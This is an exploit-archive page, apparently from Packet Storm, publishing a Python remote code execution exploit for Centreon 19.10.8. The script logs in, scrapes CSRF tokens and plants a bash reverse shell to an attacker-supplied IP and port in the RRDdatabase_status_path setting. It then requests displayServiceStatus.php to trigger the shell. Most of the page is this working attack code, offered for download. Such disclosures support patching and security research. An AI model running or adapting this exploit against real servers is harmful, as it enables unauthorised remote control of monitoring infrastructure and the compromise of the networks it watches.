what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Centreo 19.10.8 Remote Code Execution

Centreo 19.10.8 Remote Code Execution
Posted Mar 26, 2020
Authored by Engin Demirbilek

Centreo version 19.10.8 suffers from a DisplayServiceStatus remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 8a718bebfcc5413c346b04bb287ec94268a6716395780bbb22d8d703a9c80a25

Centreo 19.10.8 Remote Code Execution

Change Mirror Download
# Exploit Title: Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution
# Date: 2020-03-25
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.centreon.com/
# Version: 19.10.8
# Tested on: CentOS
# Advisory link: https://engindemirbilek.github.io/centreon-19.10-rce
# Corresponding pull request on github: https://github.com/centreon/centreon/pull/8467#event-3163627607

#!/usr/bin/python

import requests
import sys
import warnings
from bs4 import BeautifulSoup

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) < 6:
print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]


req = requests.session()
print("[+] Retrieving CSRF token...")
loginPage = req.get(url+"/index.php")
response = loginPage.text
s = BeautifulSoup(response, 'html.parser')
centreon_token = s.find('input', {'name':'centreon_token'})['value']

login_creds = {
"useralias": username,
"password": password,
"submitLogin": "Connect",
"centreon_token": centreon_token
}


print("[+] Sendin login request...")
login = req.post(url+"/index.php", login_creds)

if "incorrect" not in login.text:
print("[+] Logged In, retrieving second token")

page = url + "/main.get.php?p=50118"
second_token_req = req.get(page)
response = second_token_req.text
s = BeautifulSoup(response, 'html.parser')
second_token = s.find('input', {'name':'centreon_token'})['value']

payload = {
"RRDdatabase_path": "/var/lib/centreon/metrics/",
"RRDdatabase_status_path": ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(ip, port),
"RRDdatabase_nagios_stats_path": "/var/lib/centreon/nagios-perf/",
"reporting_retention": "365",
"archive_retention": "31",
"len_storage_mysql": "365",
"len_storage_rrd": "180",
"len_storage_downtimes": "0",
"len_storage_comments": "0",
"partitioning_retention": "365",
"partitioning_retention_forward": "10",
"cpartitioning_backup_directory": "/var/cache/centreon/backup",
"audit_log_option": "1",
"audit_log_retention": "0",
"submitC": "Save",
"gopt_id": "",
"o": "storage",
"o": "storage",
"centreon_token": second_token,


}
print("[+] Sendin payload...")
send_payload = req.post(page, payload)

trigger_url= url + "/include/views/graphs/graphStatus/displayServiceStatus.php"
print("[+] Triggerring payload...")
trigger = req.get(trigger_url)

print("[+] Check your listener !...")

else:
print("[-] Wrong credentials")
exit()
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close